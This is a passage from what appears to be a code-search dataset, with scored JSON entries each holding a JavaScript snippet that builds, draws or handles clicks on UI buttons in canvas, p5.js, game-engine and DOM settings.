fill(this.fCol);\r\n text(this.name, this.x-this.w/2, this.y);\r\n \r\n // Draw the triangle to show that the data is sorted accordingly\r\n if(this.isSelected == true){\r\n if(this.topToBottom){\r\n triangle(this.x + this.w/2 + this.p/2 - 18, this.y+6,\r\n this.x + this.w/2 + this.p/2 - 12, this.y-8,\r\n this.x + this.w/2 + this.p/2 - 6, this.y+6);\r\n }\r\n else if(!this.topToBottom)\r\n {\r\n triangle(this.x + this.w/2 + this.p/2 - 18, this.y-8,\r\n this.x + this.w/2 + this.p/2 - 12, this.y+6,\r\n this.x + this.w/2 + this.p/2 - 6, this.y-8);\r\n }\r\n }\r\n \r\n }\r\n \r\n // Hover method\r\n this.hover = function(){\r\n if(mouseX > this.x - this.w/2 - this.p && \r\n mouseX < this.x + this.w/2 + this.p && \r\n mouseY > this.y - this.h/2 && \r\n mouseY < this.y + this.h/2)\r\n {\r\n this.bCol = color(250);\r\n this.fCol = color(50);\r\n }\r\n else\r\n {\r\n this.bCol = color(50);\r\n this.fCol = color(250);\r\n }\r\n }\r\n \r\n // MouseClicked method\r\n this.mouseClicked = function(){\r\n return this.name;\r\n }\r\n \r\n}", "title": "" }, { "docid": "e7821d46c1bd78c591274f0b6db8892f", "score": "0.53924614", "text": "function drawTextButton(context, centerX, centerY, radius, lineWidth, strokeColor, fillColor, fontWeight, fontSize, text) {\n drawCircle(context, centerX, centerY, radius, lineWidth, strokeColor, fillColor);\n drawText(context, centerX, centerY, strokeColor, fontWeight, fontSize, text);\n}", "title": "" }, { "docid": "9a4cbc0a8b5ed4eaf5d340692f352607", "score": "0.5388709", "text": "function buildButton(cla, txt, func){\n cla = document.createElement(\"button\");\n cla.setAttribute(\"class\", cla);\n txt = document.createTextNode(txt);\n cla.appendChild(txt);\n startBtnEl.appendChild(cla);\n cla.addEventListener(\"click\", func);\n}", "title": "" }, { "docid": "ff9a32307d4e2c92cd46b8c25e9f5c95", "score": "0.538246", "text": "makeUIButtonHelper(self, name, xpos, text, upgradeType) {\n self[name + 'Text'] = self.add.text(xpos - 40, -110, text, { fontSize: '18px' }).setDepth(102);\n self[name] = self.add.image(xpos, -85, 'button').setDepth(101).setScale(1.5).setTint(0xcfcfcf)\n .setInteractive();\n self[name].on('pointerover', () => {\n self[name].setTint(0xfcfcfc);\n })\n .on('pointerout', () => {\n self[name].setTint(0xcfcfcf);\n })\n .on('pointerdown', () => {\n self.socket.emit('attemptUpgrade', upgradeType);\n })\n self.shopUI.add(self[name]);\n self.shopUI.add(self[name + \"Text\"]);\n }", "title": "" }, { "docid": "170ad69beadcb79eb306f2233e1a249b", "score": "0.53685206", "text": "function __createDashBoardButton(){\n\t\t// Buttons creation\n\t\tvar btnImg = new CAAT.Foundation.SpriteImage().initialize(\n\t\t\t\tgame._director.getImage('buttons'), 2, 3 \n\t\t\t); \n\t\t//Go btn creation and add Events\n\t\tvar b1= new CAAT.Foundation.Actor().setAsButton(\n\t\t\t\tbtnImg.getRef(), 0, 0, 1, 0, function(button) {\t\t\t\t\t\n\t\t\t\t\tgame.goBtnMouseDownHandler();\n\t\t\t\t}\n\t\t\t).\n\t\t\tsetLocation(buttonXYPos[0][0], Number(buttonXYPos[0][1])+100);\t\t\t\n\t\t//Reset btn creation and add Events\n\t\tvar b2= new CAAT.Foundation.Actor().setAsButton(\n\t\t\t\tbtnImg.getRef(), 4, 4, 5, 4, function(button) {\n\t\t\t\t\tgame.resetBtnMouseDownHandler();\n\t\t\t\t}\n\t\t\t).\n\t\t\tsetLocation(buttonXYPos[0][0], Number(buttonXYPos[0][2])+100);\n\t\t\n\t\tdashBG.addChild( b1 );\n\t\tdashBG.addChild( b2 );\t\n\t}", "title": "" }, { "docid": "309f2fea15f2b7951a02a675b8e51f60", "score": "0.5362735", "text": "function CreateButtonBackground(x, y, width, height, phaserText, target, tag) {\n var choiceBg = new Image(x, y, BACKGROUND_IMAGE_KEY, Image.getEnum().ChoiceBackground);\n choiceBg.addImageToGame(_game, _game.mediaGroup);\n choiceBg.changeImage(_game, width, height, target, phaserText, tag);\n return choiceBg;\n}", "title": "" }, { "docid": "9cb357b8d2719b52b5e0414f2936cbaa", "score": "0.5359749", "text": "function clickButton(photo, _x, _y) {\n this.x = _x;\n this.y = _y;\n this.w = photo.width;\n this.h = photo.height;\n this.photo = photo;\n this.state = false;\n\n this.display = function() {\n image(this.photo, this.x, this.y);\n }\n\n\n\n this.checkMouseOver = function() {\n if (mouseX > this.x - this.w / 2 &&\n mouseX < this.x + this.w / 2 &&\n mouseY > this.y - this.h / 2 &&\n mouseY < this.y + this.h / 2)\n\n if (mouseIsPressed) {\n this.state = true;\n } else {\n this.state = false;\n }\n }\n\n this.makePhotograph = function() {\n if (this.state) {\n keep = \"world()Made\" + Date.now() + '.jpg';\n saveCanvas(keep, 'jpg');\n } else {\n this.sate = false;\n }\n }\n}", "title": "" }, { "docid": "7b3af096f907bc8bde843420935f899e", "score": "0.53505296", "text": "function makeAddSquareButton() {\n let addSquareButton = document.createElement('button');\n let addSquareButtonText = document.createTextNode(\"Add Square\");\n addSquareButton.appendChild(addSquareButtonText);\n document.body.appendChild(addSquareButton);\n listenAddSquare(addSquareButton);\n}", "title": "" }, { "docid": "632620c6d00ab3e755aec80786bab8e5", "score": "0.5347767", "text": "function btn(width, height, color, x, y) {\n this.width = width;\n this.height = height;\n this.speedX = 0;\n this.speedY = 0;\n this.update = function() {\n ctx.fillStyle = color;\n ctx.fillRect(charX + x - 15, charY + y -7, this.width, this.height);\n }\n this.clicked = function() {\n console.log(touchX);\n console.log(touchY);\n console.log(\"char\" + charX);\n console.log(\"char\" + charY);\n var myleft = charX + x - 15;\n var myright = charX + x - 15 + (this.width);\n var mytop = charY + y -7;\n var mybottom = charY + y -7 + (this.height);\n var clicked = true;\n if ((mybottom < touchY) || (mytop > touchY) || (myright < touchX) || (myleft > touchX)) {\n clicked = false;\n }\n return clicked;\n }\n}", "title": "" }, { "docid": "549eafe24f2955b0d49b60df808fcc16", "score": "0.531835", "text": "function initializeDrawingState (swatchBtn, color)\r\n\t{\r\n\t\tvar gfx = swatchBtn.graphics;\r\n\t\tvar btnW = swatchBtn.size.width;\r\n\t\tvar btnH = swatchBtn.size.height;\r\n \r\n\t\t//\tDefine the top-left and bottom-right border paths\r\n\t\tvar halfBorderW = kSwatchBorderWidth / 2; \r\n \r\n gfx.newPath();\r\n\t\tgfx.rectPath(halfBorderW, halfBorderW, btnW - kSwatchBorderWidth, btnH - kSwatchBorderWidth);\r\n swatchBtn.brRectPath = gfx.currentPath;\r\n \r\n gfx.new\r\n\t\t//\tDefine the border pens: use semi-transparent pens so the background color shows through\r\n\t\tswatchBtn.shadowPen = gfx.newPen (gfx.PenType.SOLID_COLOR, [.25, .25, .25, .4], kSwatchBorderWidth);\r\n if (swatchBtn.enabled)\r\n swatchBtn.backgroundColor = gfx.newBrush (gfx.PenType.SOLID_COLOR, [color[0], color[1], color[2], 1]);\r\n else\r\n swatchBtn.backgroundColor = gfx.newBrush (gfx.PenType.SOLID_COLOR, [0xe0 / 255, 0xe0 / 255, 0xe0 / 255, 1]);\r\n \t}", "title": "" }, { "docid": "a09a6627352d0f537a93c34b9aa25a37", "score": "0.53181726", "text": "function buttons()\n{\n fill(255);\n rect(3*screen.width/10,1.5*screen.height/10,50,30)\n rect(4*screen.width/10,1.5*screen.height/10,50,30)\n fill(0)\n text(\"left\",3*screen.width/10,2.25*screen.height/10)\n text(\"right\",4*screen.width/10,2.25*screen.height/10)\n}", "title": "" }, { "docid": "3a2672fc58004cf561b60deffb0b2edf", "score": "0.5312406", "text": "function displayStartScreen(){\n\n // update title color\n let c1 = 2.5*(frame%100);\n let c2 = 165+Math.sin(frame/100)*60;\n // display title\n displayText(\"ape naps\",canvasW/2-150, canvasH/2-50, 0, \"rgb(\"+c1+\",\"+c2+\",\"+50+\")\", 35,true);\n let posY = clickA.y+17;\n // display click box text\n displayText(\"time trial\",clickA.x+17, posY, 0, \"black\", 12,false);\n displayText(\"practice\",clickB.x+30, posY, 0, \"black\", 12,false);\n\n // display click box\n ctx.beginPath();\n ctx.strokeStyle =\"black\";\n ctx.rect( clickA.x,clickA.y,clickA.w,clickA.h );\n ctx.rect( clickB.x,clickB.y,clickB.w,clickB.h );\n ctx.stroke();\n ctx.closePath();\n\n}", "title": "" }, { "docid": "24cbbe6cd21f8917fa773f6841182f8e", "score": "0.53078467", "text": "function ToggleButton(text) {\n\t\t// for css based button see http://codepen.io/mallendeo/pen/eLIiG\n\n\t\tvar button = document.createElement('button');\n\t\tbutton.textContent = text;\n\n\t\tutils.style(button, {\n\t\t\tfontSize: '12px',\n\t\t\tpadding: '1px',\n\t\t\tborderSize: '2px',\n\t\t\toutline: 'none',\n\t\t\tbackground: Theme.a,\n\t\t\tcolor: Theme.c,\n\t\t});\n\n\t\tthis.pressed = false;\n\n\t\tbutton.onclick = () => {\n\t\t\tthis.pressed = !this.pressed;\n\n\t\t\tutils.style(button, {\n\t\t\t\tborderStyle: this.pressed ? 'inset' : 'outset', // inset outset groove ridge\n\t\t\t})\n\n\t\t\tif (this.onClick) this.onClick();\n\t\t};\n\n\t\tthis.dom = button;\n\n\t}", "title": "" }, { "docid": "49306a17e85f542dd426af27f75c700d", "score": "0.5302563", "text": "function setupCanvas() {\n // Set canvas and context properties\n const canvas = document.getElementById(\"fretboard\");\n ctx = canvas.getContext(\"2d\");\n width = $(\"#fretboard\").width();\n height = $(\"#fretboard\").height();\n canvas.width = width;\n canvas.height = height;\n ctx.font = \"14px Arial\";\n ctx.textAlign = \"center\";\n\n // indices represents the tuning \n // (Default to standard, or E A D G B E)\n const indices = Range(6).reverse().map(i => letterToNumber[tunings[\"Standard\"][i]]);\n\n // Create all the buttons for the notes\n for (const y of Range(6)) {\n\n let index = indices[y]; // Initial note (unfretted)\n for (const x of Range(frets)) {\n const posX = Math.floor(width / frets * x + width / (frets * 2));\n const posY = Math.floor(height / 6 * y + height / 12);\n ctx.beginPath();\n ctx.arc(posX, posY, 10, 0, 2 * Math.PI);\n ctx.fill();\n ctx.stroke();\n \n // Keep track of button properties in the buttons list\n buttons.push({\n x: posX,\n y: posY,\n r: 10 * 2,\n num: index,\n selected: false,\n name: notes[index][0],\n special: false\n });\n \n index = (index + 1) % 12\n };\n }\n\n // On canvas click, iterate through all buttons and compare their bounds\n // with the mouse click location. Toggles button active/inactive\n canvas.addEventListener('click', function (event) {\n if (activeScale !== \"None\") return;\n\n // Get mouse position coordinates relative to the canvas\n const rect = canvas.getBoundingClientRect();\n const [x, y] = [event.clientX - rect.left, event.clientY - rect.top];\n \n for (const b of buttons) {\n // Checks bounds\n if (x >= b.x - b.r && x <= b.x + b.r && y >= b.y - b.r && y <= b.y + b.r) {\n\n // If selected, deselect it, and decrement the note counter for that button's note\n // As the mouse is still over it, set the color to the hover color.\n // If not selected, select it and increment the note counter, then redraw the board.\n if (b.selected) {\n b.selected = false;\n notes[b.num][2]--;\n\n ctx.fillStyle = \"lightblue\";\n ctx.beginPath();\n ctx.arc(b.x, b.y, 15, 0, 2 * Math.PI);\n ctx.fill();\n ctx.stroke();\n\n ctx.fillStyle = \"black\";\n ctx.fillText(b.name, b.x, b.y + b.r / 4);\n } else {\n b.selected = true;\n notes[b.num][2]++;\n drawBoard();\n }\n\n updateTable();\n }\n }\n });\n\n // When moving the mouse inside the canvas, show the buttons when hovered over\n canvas.addEventListener('mousemove', function (event) {\n if (activeScale !== \"None\") return;\n\n // Necessary to remove previously displayed hovered buttons\n drawBoard();\n\n const rect = canvas.getBoundingClientRect();\n const[x, y] = [event.clientX - rect.left, event.clientY - rect.top];\n\n for (const b of buttons) {\n if (x >= b.x - b.r && x <= b.x + b.r && y >= b.y - b.r && y <= b.y + b.r && !b.selected) {\n ctx.fillStyle = \"lightblue\";\n ctx.beginPath();\n ctx.arc(b.x, b.y, 15, 0, 2 * Math.PI);\n ctx.fill();\n ctx.stroke();\n\n ctx.fillStyle = \"black\";\n ctx.fillText(b.name, b.x, b.y + b.r / 4);\n }\n }\n \n });\n}", "title": "" }, { "docid": "9cd5c74068ac5d42f3356a5b55281f4d", "score": "0.5299671", "text": "function setup() {\n canvas = createCanvas(1000, 1000);\n canvas.position(500, 200); //relative to the page\n button1 = createButton('Do');\n button1.position(600, 200); //relative to canvas\n button1.size(200, 100);\n button1.style('font-size', '18px');\n button1.style('background-color', 'red');\n button1.mousePressed(playDo);\n button2 = createButton('Re');\n button2.position(600, 330);\n button2.size(200, 100);\n button2.style('font-size', '18px');\n button2.style('background-color', 'orange');\n button2.mousePressed(playRe);\n button3 = createButton('Mi');\n button3.position(600, 460);\n button3.size(200, 100);\n button3.style('font-size', '18px');\n button3.style('background-color', 'yellow');\n button3.mousePressed(playMi);\n button4 = createButton('Fa');\n button4.position(600, 590);\n button4.size(200, 100);\n button4.style('font-size', '18px');\n button4.style('background-color', 'yellowgreen');\n button4.mousePressed(playFa);\n button5 = createButton('Sol');\n button5.position(600, 720);\n button5.size(200, 100);\n button5.style('font-size', '18px');\n button5.style('background-color', 'violet');\n button5.mousePressed(playSol);\n}", "title": "" }, { "docid": "86f7ebf350e65e9b69621f4d42533188", "score": "0.5285508", "text": "function RectButton(src, x, y, contents, rectAttributes, mouseoverAttributes, selectAttributes, borderWidth, doSeparateCoverLayer)\r\n{\r\n\tthis.mouseoverAttributes = mouseoverAttributes;\r\n\tthis.selectAttributes = selectAttributes;\r\n\t\r\n this.bgElement = new RectLabel(0, 0, contents, rectAttributes, borderWidth);\r\n \r\n this.mouseoverElement = new SVGElement(\"rect\");\r\n this.selectElement = new SVGElement(\"rect\");\r\n this.coverElement = new SVGElement(\"rect\");\r\n\r\n\tthis.setContents(contents);\r\n\r\n RectButton.baseConstructor.call(this, src, x, y, this.bgElement, this.mouseoverElement, this.selectElement, this.coverElement, doSeparateCoverLayer);\r\n}", "title": "" }, { "docid": "4e7feeac68bf8618cf5d28e2342430f8", "score": "0.5251486", "text": "function swatchYouWant_rebuildButtons(palObj)\r\t\t{\r\t\t\tswatchYouWantData.swatchSize = 11;\r\t\t\tif (swatchYouWantData.colors.length <= 8)\r\t\t\t\tswatchYouWantData.swatchSize *= 2;\r\t\t\t\r\t\t\tvar topEdge = 1;\r\t\t\tvar leftEdge = 1;\r\t\t\tvar btnSize = swatchYouWantData.swatchSize;\r\t\t\t\r\t\t\t// Remove the existing buttons (all of them)\r\t\t\tif (palObj.btnGroup != undefined)\r\t\t\t{\r\t\t\t\twhile (palObj.btnGroup.children.length > 0)\r\t\t\t\t\tpalObj.btnGroup.remove(0);\r\t\t\t\tpalObj.remove(0);\r\t\t\t}\r\t\t\t\r\t\t\t// Add buttons for scripts\r\t\t\t\r\t\t\tpalObj.swatches = undefined;\r\t\t\tpalObj.swatches = new Array();\r\t\t\t\r\t\t\t// Place controls in a group container to get the panel background love\r\t\t\tpalObj.btnGroup = palObj.add(\"group\", [0, 0, palObj.bounds.width, palObj.bounds.height]);\r\t\t\t\r\t\t\tvar winGfx =palObj.graphics;\r\t\t\t\r\t\t\tfor (var i=0; i<swatchYouWantData.colors.length; i++)\r\t\t\t{\r\t\t\t\t// If there's a corresponding .png file, use it as an iconbutton instead of a regular text button\r\t\t\t\tpalObj.swatches[i] = palObj.btnGroup.add(\"group\", [leftEdge, topEdge, leftEdge+btnSize, topEdge+btnSize]);\r\t\t\t\tpalObj.swatches[i].graphics.backgroundColor = winGfx.newBrush(winGfx.BrushType.SOLID_COLOR, [swatchYouWantData.colors[i][0][0], swatchYouWantData.colors[i][0][1], swatchYouWantData.colors[i][0][2]]);\r\t\t\t\tpalObj.swatches[i].helpTip = swatchYouWantData.colors[i][1];\r\t\t\t\t\r\t\t\t\tleftEdge += (btnSize + 1);\r\t\t\t}\r\t\t\t\r\t\t\t// Add the settings and help buttons\r\t\t\tpalObj.settingsBtn = palObj.btnGroup.add(\"button\", [leftEdge, topEdge, leftEdge+30, topEdge+20], swatchYouWantData.strSettings);\r\t\t\tpalObj.settingsBtn.helpTip = swatchYouWantData.strSettingsTip;\r\t\t\tpalObj.settingsBtn.onClick = function ()\r\t\t\t{\r\t\t\t\tswatchYouWantData.swatchFile = File.openDialog(swatchYouWantData.strSelectASEFile, swatchYouWantData.strASEFileFilter);\r\t\t\t\tif ((swatchYouWantData.swatchFile != null) && swatchYouWantData.swatchFile.exists)\r\t\t\t\t{\r\t\t\t\t\tswatchYouWant_parseSwatchFileForColors();\r\t\t\t\t\t\r\t\t\t\t\t// Remember the swatch file for the next session\r\t\t\t\t\tapp.settings.saveSetting(\"Adobe\", \"swatchYouWant_swatchFile\", swatchYouWantData.swatchFile.fsName);\r\t\t\t\t\t\r\t\t\t\t\t// Refresh the palette\r\t\t\t\t\tswatchYouWant_rebuildButtons(swatchPal);\r\t\t\t\t\tswatchYouWant_doResizePanel();\r\t\t\t\t}\r\t\t\t\telse\r\t\t\t\t\tswatchYouWantData.swatchFile = null;\r\t\t\t}\r\t\t\t\r\t\t\tpalObj.helpBtn = palObj.btnGroup.add(\"button\", [leftEdge+30+1, topEdge, leftEdge+30+1+30, topEdge+20], swatchYouWantData.strHelp);\r\t\t\tpalObj.helpBtn.helpTip = swatchYouWantData.strHelpTip;\r\t\t\tpalObj.helpBtn.onClick = function () {alert(swatchYouWantData.strAbout, swatchYouWantData.strAboutTitle);}\r\t\t}", "title": "" }, { "docid": "83f65878c9fb60d566618630f8342179", "score": "0.52493554", "text": "function creatButton() {\r\n\r\n var div = document.getElementById(\"AllButtons\");\r\n var newbuttn = document.createElement(\"button\");\r\n newbuttn.tagName = \"Opt1\";\r\n var randY = parseInt(Math.random() * (1800 - 1200) + 1200);\r\n var randX = parseInt(Math.random() * (1200 - 100) + 100);\r\n newbuttn.style.position = \"absolute\";\r\n newbuttn.style.width = 50 + \"px\";\r\n newbuttn.style.height = 30 + \"px\";\r\n newbuttn.innerText = \"no\"\r\n newbuttn.style.top = randY + \"px\";\r\n newbuttn.style.left = randX + \"px\";\r\n newbuttn.style.visibility = \"visible\";\r\n newbuttn.style.backgroundColor = \"red\";\r\n div.appendChild(newbuttn);\r\n\r\n}", "title": "" }, { "docid": "202c18d87537162dac23cfbf22a914a8", "score": "0.5224475", "text": "function mouseClickButton() {\n let x = floor((mouseX - xBaseScreen) / wButton);\n let y = floor((mouseY - yBaseScreen) / hButton);\n\n if (screen1) {\n buttons = [\n ['q', 'w', 'e', 'r', 't'],\n ['a', 's', 'd', 'f', 'g'],\n ['z', 'x', 'c', 'v', 'b'],\n ['back', 'back', 'space', 'space', 'space']\n ];\n } else {\n buttons = [\n ['y', 'u', 'i', 'o', 'p'],\n ['h', 'j', 'k', 'l', ''],\n ['n', 'm', '', '', ''],\n ['back', 'back', 'space', 'space', 'space']\n ];\n }\n\n if (buttons[y][x] != '') {\n let size = 1;\n\n if(buttons[y][x] == 'back'){\n size = 2;\n x = 0;\n y = 3;\n \n }else if(buttons[y][x] == 'space'){\n size = 3;\n x = 2;\n y = 3;\n }\n xHighlight = xBaseScreen + x * wButton\n yHighlight = yBaseScreen + y * hButton\n wHighlight = size * wButton;\n highlightStart = millis();\n }\n\n\n return buttons[y][x];\n}", "title": "" }, { "docid": "1196a59617c5addcf8419bb4adc1f610", "score": "0.52182597", "text": "function setup() {\n // put setup code here\ncreateCanvas(1000,1000);\n\n\n // choosing point as the center of my screen\n pointX = width/2;\n pointY= width/2;\n\n // this establishes this will always be the center point.\n // console.log(\"pointX\"+pointY+\"pointY\"+pointY);\n\n\nvar message = \"hello\";\n// Scope can be very frustrating. once you declare a variable.\n// when you decalrea avaribale in the setup : the Scope of this variable is only available inside the setup function.\n // if used in the draw, or any other function, you will receive on error\n // at the top you create the varible, and you can change it as you go. But you have to be consistent as to where you change it (in declared function).\n\n console.log(message);\n\n colorButton = createButton(\"Click to turn purple\"); // in parenthesis put message that corresponds to the message you want to appear on that button\n// Color.button is in the setup because the button is permanent = where as draw would constantly refresh the loop\n colorButton.position(20,20);\n // to move button around the screen\n colorButton.mousePressed(function(){ // in order to make the button function\n FaceColor = \"purple\";\n });\n // a bug: the functions at the bottom dont allow this function to work.\n\n}", "title": "" }, { "docid": "ab091b85bb7d87ec272f656add6eba96", "score": "0.52146626", "text": "function addStartButton() {\n ctx.globalAlpha = 1;\n ctx.fillStyle = startButton.colour;\n ctx.fillRect(startButton.left, startButton.top, startButton.width, startButton.height);\n ctx.font = \"36px Helvetica\";\n ctx.fillStyle = startButton.text_color;\n ctx.textAlign = \"center\";\n ctx.textBaseline = \"top\";\n console.log(ctx.textBaseline);\n ctx.fillText(startButton.text, startButton.left + startButton.width / 2,\n startButton.top + (startButton.height / 4));\n}", "title": "" }, { "docid": "01056a760e09d554e50f7d72b3de7d5c", "score": "0.521262", "text": "function drawInterfaceTypeButton(){\n let button = new Path2D()\n button.rect(381, 10, 50, 40)\n ctx.stroke(button)\n ctx.beginPath()\n ctx.setLineDash([4,5])\n ctx.moveTo(390, 20)\n ctx.lineTo(415, 40)\n ctx.stroke()\n ctx.beginPath()\n ctx.setLineDash([])\n ctx.moveTo(402, 42)\n ctx.lineTo(420, 45)\n ctx.lineTo(414, 27)\n ctx.stroke()\n ctx.fill()\n canvas.addEventListener('mousemove', function(e) {\n if (ctx.isPointInPath(button, e.clientX, e.clientY)){\n ctx.font = \"lighter 15px Arial\"\n ctx.fillText(\"Interface Type Implementation\", 320, 70)\n }\n else {\n }\n })\n canvas.addEventListener('click', function (e) {\n if (ctx.isPointInPath(button, e.clientX, e.clientY)){\n noteStatus = false\n selectStatus = false\n classStatus = false\n interfaceStatus = false\n packageStatus = false\n deleteStatus = false\n dependencyStatus = false\n inheritanceStatus = false\n interfaceTIStatus = true\n associationStatus = false\n aggregationStatus = false\n compositionStatus = false\n }\n })\n}", "title": "" }, { "docid": "0502dfd8827f3f371818c63d885dc629", "score": "0.5209099", "text": "function rectangleBrushButton() {\n fill(c);\n noStroke();\n rect(X1 + 5, Y1 + 15, brushSize, brushSize);\n}", "title": "" }, { "docid": "bfbfced4515df2690a174fae53a63e7e", "score": "0.52087986", "text": "function createButton (name, buttonType) {\n name = name.toLowerCase()\n var firstLetterCap = name[0].toUpperCase() + name.slice(1)\n\n if (name === '+' || name === '-') {\n firstLetterCap = (name === '+') ? 'plus' : 'minus'\n }\n\n var tmp = {\n name: name,\n text: firstLetterCap, // can make first letter capitalized later\n type: 'button',\n value: name\n }\n var primaryStyleNames = ['confirm', 'confirm order']\n var dangerStyleNames = ['none', 'cancel']\n if (_.includes(name, primaryStyleNames) || _.includes(name, dangerStyleNames)) {\n tmp['style'] = _.includes(name, primaryStyleNames) ? 'primary' : 'danger'\n }\n // need some way to conform to button styles shit\n if (buttonType) {\n tmp['style'] = buttonType\n }\n return tmp\n}", "title": "" }, { "docid": "35be5e1048530fe1c966e8c5a6fa00ae", "score": "0.520683", "text": "function generate_button(element_attach, id, text_representation) {\n let button = {\n//\telement: 'undefined',\n\tid: id,\n\ttext_representation: text_representation,\n };\n\n let temp_element = document.createElement('div');\n element_attach.appendChild(temp_element);\n temp_element.outerHTML = `<input id=\"${id}\" type=\"button\" onclick=\"modify_text_field(value)\" value=\"${text_representation}\">`;\n temp_element = document.getElementById(`${id}`);\n temp_element.style.width = '49px';\n temp_element.style.height = '30px';\n\n // Using switch to set button background colors just because\n switch (text_representation) {\n case '(': \n case ')':\n case '%':\n case 'AC':\n case DIVIDE:\n case TIMES:\n case '-':\n case '+':\n\ttemp_element.style.backgroundColor = \"rgb(195,195,195)\";\n\tbreak;\n // case '7':\n // case'8':\n // case '9':\n // case '4':\n // case '5':\n // case '6':\n // case '1':\n // case '2':\n // case '3':\n // case '0':\n // case '.':\n case '=':\n\ttemp_element.style.backgroundColor = \"RoyalBlue\";\n\ttemp_element.style.color = \"white\";\n\tbreak;\t\n }\n \n return button;\n}", "title": "" }, { "docid": "255442b2ab768bf71f001a788710451e", "score": "0.5203902", "text": "function __createSubstanceBtn(){\n\t\tvar substancePopupBtn = new CAAT.Foundation.ActorContainer()\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t.setBounds(140, 55, 201, 20)\n\t\t\t\t\t\t\t\t\t\t.setLocation(340, 55+100);\n\t\t\t\t\t\t\t\t\t\t\n\t\tvar substanceBG = game.__addImageOnScene( game._director.getImage('PopUpWd'), 1, 1 );\n\t\t\tsubstanceBG.setLocation(0, 0);\n\t\tgame.substanceTxt = game.__addTextOnImage('black', 'Substance is:', 'Bold 14px Arial', 'left', game._director);\n\t\t\tgame.substanceTxt.setLocation(10, 2);\n\t\t\n\t\t//This dummySubPopupBtn is used to show/Hide the popup\n\t\t//when click this actor container\n\t\tvar dummySubPopupBtn = new CAAT.Foundation.ActorContainer()\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t.setSize(201, 20)\n\t\t\t\t\t\t\t\t\t\t.setLocation(0, 0)\n\t\t\t\t\t\t\t\t\t\t//.setFillStyle('#00F');\n\t\t\t\t\t\t\t\t\t\t\n\t\tsubstancePopupBtn.addChild(substanceBG);\n\t\tsubstancePopupBtn.addChild(game.substanceTxt);\n\t\tsubstancePopupBtn.addChild(dummySubPopupBtn);\n\t\tdashBG.addChild(substancePopupBtn);\t\n\t\t\n\t\tdummySubPopupBtn.mouseDown = game.substanceShowPopup;\n\t\t\n\t\tdummySubPopupBtn.mouseEnter = function(){\n\t\t\tCAAT.setCursor('pointer');\n\t\t}\n\t\tdummySubPopupBtn.mouseExit = function(){\n\t\t\tCAAT.setCursor('default');\n\t\t}\n\t}", "title": "" }, { "docid": "73f097d0bdcb7007cd38eddfc0546be9", "score": "0.5192669", "text": "function __createDashBoardButton(){\n\t\t// Buttons creation\n\t\tvar btnImg = new CAAT.Foundation.SpriteImage().initialize(\n\t\t\t\tgame._director.getImage('buttons'), 2, 3 \n\t\t\t); \n\t\t//Go btn creation and add Events\n\t\tvar b1= new CAAT.Foundation.Actor().setAsButton(\n\t\t\t\tbtnImg.getRef(), 0, 0, 1, 0, function(button) {\t\t\t\t\t\t\n\t\t\t\t\tgame.goBtnMDownHandler();\t\t\t\t\t\n\t\t\t\t}\n\t\t\t).\n\t\t\tsetLocation(buttonXYPos[0][0], buttonXYPos[0][1]);\t\n\t\t//Reset btn creation and add Events\n\t\tvar b3= new CAAT.Foundation.Actor().setAsButton(\n\t\t\t\tbtnImg.getRef(), 4, 4, 5 ,4 , function(button) {\n\t\t\t\t\tgame.resetBtnMDownHandler();\n\t\t\t\t}\n\t\t\t).\n\t\t\tsetLocation(buttonXYPos[0][0], buttonXYPos[0][2]);\t \n\t\t//Pause btn creation and add Events\n\t\tvar b2= new CAAT.Foundation.Actor().setAsButton(\n\t\t\t\tbtnImg.getRef(), 2, 2, 3, 2, function(button) {\n\t\t\t\t\tgame.pauseBtnMDownHandler();\n\t\t\t\t}\n\t\t\t).\n\t\t\tsetLocation(buttonXYPos[0][0], buttonXYPos[0][3]);\n\t\t\n\t\tdashBG.addChild( b1 );\n\t\tdashBG.addChild( b2 );\n\t\tdashBG.addChild( b3 );\t\t\n\t}", "title": "" }, { "docid": "10378942c7654b952548d77d69ba1a3d", "score": "0.5185981", "text": "function initGraphics() {\n\tstage.addChild(background);\n\tinitMuteUnMuteButtons(); \n\n\t//main image to label\n\tmainPic.scaleX = MAIN_PIC_WIDTH / mainPic.image.width;\n\tmainPic.scaleY = MAIN_PIC_HEIGHT / mainPic.image.height;\n\tmainPic.x = 30;\n\tmainPic.y = 145;\n\tstage.addChild(mainPic);\n\n\t// draw buttons\n\tfor (var i = 0; i < number_of_buttons; i++) {\n\t\tbuttons[i].x = buttonsh[i].x = 15 + 65*i;\n\t\tbuttons[i].y = buttonsh[i].y = 535;\n\t\tbuttonsh[i].cursor = \"pointer\";\n\t\tbuttons[i].id = buttonsh[i].id = i;\n\t\tstage.addChild(buttons[i]);\n\t}\n\n\tinitButtonListeners();\n\n\tquestionText = new createjs.Text(questions[questionCounter].question, '25px Arial', \"black\");\n\tquestionText.x = 155;\n\tquestionText.y = 91;\n\tstage.addChild(questionText);\n\n\tright.x = wrong.x = 20;\n\tright.y = wrong.y = 100;\n\n\n}", "title": "" }, { "docid": "41564de7e136e811250897ec6dc1a530", "score": "0.5174837", "text": "function CreateOrkutButton(text)\r\n{\r\n var Container = document.getElementById(\"mboxfull\").getElementsByTagName(\"td\")[0];\r\n \r\n var ButtonContainer = document.createElement(\"div\");\r\n ButtonContainer.id = \"ChatContainer\" + CommunityId;\r\n ButtonContainer.style.cssFloat = \"right\";\r\n \r\n var ButtonPlaceHolder = document.createElement(\"span\");\r\n ButtonPlaceHolder.className = \"grabtn\";\r\n \r\n var Button = document.createElement(\"a\");\r\n Button.id = \"ChatButton\" + CommunityId;\r\n Button.innerHTML = text;\r\n Button.className = \"btn\";\r\n Button.href = \"javascript:;\";\r\n \r\n ButtonPlaceHolder.appendChild(Button);\r\n ButtonContainer.appendChild(ButtonPlaceHolder);\r\n \r\n var BorderRight = document.createElement(\"span\");\r\n BorderRight.className = \"btnboxr\";\r\n var PixImg = document.createElement(\"img\");\r\n PixImg.height = \"1\";\r\n PixImg.width = \"5\";\r\n PixImg.src = \"http://img1.orkut.com/img/b.gif\";\r\n PixImg.alt = \"\";\r\n \r\n BorderRight.appendChild(PixImg);\r\n \r\n ButtonContainer.appendChild(BorderRight);\r\n \r\n Container.insertBefore(ButtonContainer, Container.getElementsByTagName(\"H1\")[0]);\r\n}", "title": "" }, { "docid": "3c7c37b2b2430a8a6d529409024b7f23", "score": "0.516234", "text": "function makeButton(btnTxt) {\n var newBtn = $(\"<button>\").attr(\"class\", \"gif-btn\").text(btnTxt);\n buttonZone.append(newBtn);\n}", "title": "" }, { "docid": 